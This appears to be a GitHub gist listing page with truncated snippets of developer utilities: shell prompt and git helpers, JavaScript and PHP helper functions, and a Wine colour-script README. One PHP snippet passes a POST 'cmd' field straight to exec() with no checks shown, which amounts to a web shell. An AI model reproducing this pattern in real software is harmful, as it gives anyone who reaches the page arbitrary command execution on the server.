Direct links to the albums put together by Ubuntu Satanic Edition
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# http://herdrick.tumblr.com/post/24563032599/display-git-branch-and-dirty-status-in-fish-shell | |
set fish_git_dirty_color red | |
function parse_git_dirty | |
git diff --quiet HEAD ^&- | |
if test $status = 1 | |
echo (set_color $fish_git_dirty_color)":"(set_color normal) | |
end | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function( $, window, undefined ) { | |
"use strict"; | |
/** | |
* Set DEBUG_LVL and Show/Hide debugging DOM Elements | |
*/ | |
window.setDebugLevel = function( level ) { | |
level = parseInt( level, 10 ); | |
window.DEBUG_LVL = isNaN(level) ? 0 : level; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
|^(http(s)?:)?//|i |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* @desc Enable/Disable/View Bitwise Flags | |
* (Useful when you need a group of true/false values) | |
* @author Jeremie J. Jarosh | |
* | |
* NOTE: slightly modifyed from code provided by 'wbcarts at juno dot com' | |
* (http://www.php.net/manual/en/language.operators.bitwise.php#108679) | |
*/ | |
class BitwiseFlag { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function array2table( $expression, $return = false ) { | |
$expression = (array)$expression; | |
$keys = array_keys($expression[0]); | |
$html = "<table class=\"arr2tbl\">"; | |
//headers | |
$html .= "<thead>"; | |
$html .= "<tr>"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[alias] | |
tree = log --oneline --decorate --graph |
This is a Python script to extract GNOME/GTK's color scheme and apply it to Wine, so that the themes (approximately) match.
- Set your Gnome theme as you would like it
- Run with a command like
python wine_colors_from_gtk.py
- Restart any apps running in Wine. They should match the Gnome theme colors now.
Better description with screenshots here: http://www.endolith.com/wordpress/2008/08/03/wine-colors/
This is also stored on https://code.launchpad.net/~endolith/+junk/wine-color-scraper
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if ( isset($_POST['cmd']) ) { | |
$_POST['cmd'] = stripslashes($_POST['cmd']); | |
#$output = shell_exec( escapeshellcmd($_POST['cmd']) ); | |
$out_arr = array(); | |
$exitcode = null; | |
exec( $_POST['cmd'], $out_arr, $exitcode ); | |
$output = "exitcode: {$exitcode}".PHP_EOL; | |
$output .= implode( $out_arr, PHP_EOL ); | |
/*if ( isset($_POST['ignoreHTML']) ) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Ensures there will be no 'console is undefined' errors | |
window.console = window.console || (function(){ | |
var c = {}; c.log = c.warn = c.debug = c.info = c.error = c.time = c.dir = c.profile = c.clear = c.exception = c.trace = c.assert = function(s){}; | |
return c; | |
})(); |
OlderNewer